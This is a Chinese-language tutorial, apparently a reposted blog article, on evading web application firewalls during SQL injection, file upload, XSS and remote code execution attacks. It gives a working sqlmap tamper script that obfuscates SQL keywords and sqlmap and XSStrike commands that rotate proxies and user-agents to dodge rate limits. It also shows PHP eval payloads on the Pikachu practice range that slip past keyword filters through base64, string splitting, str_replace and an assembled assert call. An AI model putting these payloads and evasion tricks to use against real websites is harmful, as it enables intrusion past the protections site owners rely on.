WAF繞過-漏洞利用之注入上傳跨站等繞過
思維導(dǎo)圖
一、sql注入繞過
使用sqlmap注入測試?yán)@過
1.繞過cc流量
通過sqlmap對網(wǎng)站進(jìn)行測試的時候,如果對方有cc流量防護(hù),需要給sqlmap設(shè)置一個代理進(jìn)行注入。
- 防cc攔截:修改user-agent頭+代理(付費代理池)
修改user-agent頭:
? (1)加參數(shù):–random-agent
- 使用隨機user-agent進(jìn)行測試。sqlmap有一個文件中儲存了各種各樣的user-agent,文件在
sqlmap/txt/user-agent.txt
在level>=3時會檢測user-agent注入。
? (2)直接加上頭部加參數(shù):–user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”
-
指定一個user-agent的值進(jìn)行測試。
- 默認(rèn)情況下,sqlmap會使用自己的user-agent進(jìn)行測試(所以很多服務(wù)器發(fā)現(xiàn)user-agent是sqlmap的數(shù)據(jù)包直接認(rèn)為是入侵),sqlmap自己的user-agent是:
sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)
(3)修改配置文件sqlmap.conf中的agent變量值
? 加代理:–proxy=“http:tps123.kdlapi.com:15818”
這里的代理為自己購買的。
- 默認(rèn)情況下,sqlmap會使用自己的user-agent進(jìn)行測試(所以很多服務(wù)器發(fā)現(xiàn)user-agent是sqlmap的數(shù)據(jù)包直接認(rèn)為是入侵),sqlmap自己的user-agent是:
2.繞過關(guān)鍵字
替換關(guān)鍵字為加密
編寫的waf-dog.py:python腳本如下
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload,**kwargs):
retVal =""
if payload:
payload = payload.replace("union","%23a%0aunion")
payload = payload.replace("select","/*!4457select*/")
payload = payload.replace("%20","%23a%0a")
payload = payload.replace(" ","%23a%0a")
payload = payload.replace("database()","database%23a%0a()")
return payload
//替換了關(guān)鍵字
3.注釋攔截繞過
在買了寶塔付費產(chǎn)品后,過狗的payload中含有/*的都會被寶塔攔截。(寶塔比安全狗多了一個對/*
進(jìn)行檢測),
因此同樣用編寫后繞過安全狗的tampe模塊去跑網(wǎng)站,雖然繞過了安全狗,如果對方有寶塔,會被寶塔攔截。
方法:一但用到/*
這些注釋什么的,就在前面加上%00,寶塔就以為結(jié)束了,不會檢測后面的數(shù)據(jù)了。
修改腳本,在使用/*的時候在前面加上%00
語句示范:
sqlmap --proxy="http://127.0.0.1:8080" --tamper="waf.py" --random-agent
`--tamper=TAMPER` 使用sqlmap自帶的tamper,或者自己寫的tamper,來混淆payload,通常用來繞過waf和ips。
另外,抓包查看sqlmap的指紋如下,會被waf攔截,所以需要修改us頭。
二、文件上傳
更改上傳后綴名的格式
1.php 截斷,參考之前學(xué)習(xí)的payload上傳,繞過waf
和前面文件上傳專題的繞過方法一樣。
三、XSS繞過WAF
利用 XSStrike工具進(jìn)行測試
此時如果對方網(wǎng)站開啟cc防護(hù):
1.由于是工具,需要設(shè)置一個代理
2.設(shè)置延遲參數(shù)
即:利用xss trike繞過,加上–timeout或者–proxy繞過cc
xsstrike.py -u "目標(biāo)網(wǎng)址" --timeout x 延時
xsstrike.py -u "目標(biāo)網(wǎng)址" --proxy 代理地址
XSStrike參數(shù):
-h, --help //顯示幫助信息
-u, --url //指定目標(biāo) URL
--data //POST 方式提交內(nèi)容
-v, --verbose //詳細(xì)輸出
-f, --file //加載自定義 paload 字典
-t, --threads //定義線程數(shù)
-l, --level //爬行深度
-t, --encode //定義 payload 編碼方式
--json //將 POST 數(shù)據(jù)視為 JSON
--path //測試 URL 路徑組件
--seeds //從文件中測試、抓取 URL
--fuzzer //測試過濾器和 Web 應(yīng)用程序防火墻。
--update //更新
--timeout //設(shè)置超時時間
--params //指定參數(shù)
--crawl //爬行
--proxy //使用代理
--blind //盲測試
--skip //跳過確認(rèn)提示
--skip-dom //跳過 DOM 掃描
--headers //提供 HTTP 標(biāo)頭
-d, --delay //設(shè)置延遲
四、RCE執(zhí)行繞過
加密編碼繞過?算法可逆?關(guān)鍵字繞過?提交方法?各種測試?
實例:目標(biāo)pikachu靶場rce漏洞
1.RCE源代碼:
接收post傳入的參數(shù),并且通過eval執(zhí)行,如果沒執(zhí)行成功則輸出字符串
1.輸入echo 123; 并執(zhí)行,成功輸出
2.但是當(dāng)輸入phpinfo();
時,連接被重置了,此處是因為敏感字符被waf檢測到了所以進(jìn)行攔截
攔截日志,觸發(fā)了phpinfo()
4.此時我們想到通過base64加密解密來繞過phpinfo(); 這個關(guān)鍵字
先把phpinfo();用base64加密,結(jié)果為cGhwaW5mbygpOw==,然后用php中的base64解密函數(shù)base64_decode()進(jìn)行解密
所以在輸入框內(nèi)base64_decode(‘cGhwaW5mbygpOw==’);提交即可
當(dāng)post將字符串base64_decode(‘cGhwaW5mbygpOw==’);提交后,對方后臺接收到post值,并通過eval將字符串當(dāng)成php代碼執(zhí)行,就成功對加密后的phpinfo();進(jìn)行了解密還原。(此時感覺邏輯非常的通順)
5.提交后發(fā)現(xiàn)又被攔截了,此時我們打開寶塔的日志看了一眼,又被匹配到了敏感參數(shù),這次是base64_decode()
(我感覺就算沒有攔截的話,通過上面源碼看,傳入后也執(zhí)行不了,會報語法錯誤)
6.此時就可以用字符串的拼接來繞過waf對關(guān)鍵字的匹配
(1) 因為waf只是攔截關(guān)鍵字,我們用字符串將關(guān)鍵字拼接起來,waf就不會識別到,并且可以執(zhí)行同樣的功能
例子:$a='php'.'info();';assert($a);
將php和info(); 拼接起來賦值給變量a,再通過assert對執(zhí)行變量a
提交后
(2) 或者用php中的str_replace函數(shù)替換變量中指定的字符串為空
txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);
(3) 上面的方法都有用到assert來執(zhí)行phpinfo(); 如果assert也被過濾了呢
此時我們也可以用拼接字符串或者str_replace拆分來繞過關(guān)鍵字
$x='asse';$xx='rt';$xxx=$x.$xx;$y=str_replace('x','','pxhpxinxfo()');$xxx($y)
使用assert還有一點
不使用沒有顯示是因為phpinfo()沒有被執(zhí)行,因此加個assert()函數(shù)
也可以通過$_REQUEST
提交方式繞過
完整語句:文章來源:http://www.zghlxwxcb.cn/news/detail-431142.html
txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);&submit=%E6%8F%90%E4%BA%A4ce
五、文件包含
以下幾種:…\ …/ …\等文章來源地址http://www.zghlxwxcb.cn/news/detail-431142.html
到了這里,關(guān)于03-WAF繞過-漏洞利用之注入上傳跨站等繞過的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!